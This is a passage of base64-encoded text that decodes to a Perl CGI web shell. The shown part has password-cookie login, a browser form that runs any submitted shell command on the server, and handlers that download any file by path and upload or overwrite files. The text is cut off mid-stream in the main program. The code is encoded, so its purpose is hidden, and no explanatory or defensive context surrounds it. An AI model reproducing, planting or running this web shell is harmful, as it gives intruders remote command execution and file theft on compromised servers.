LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJE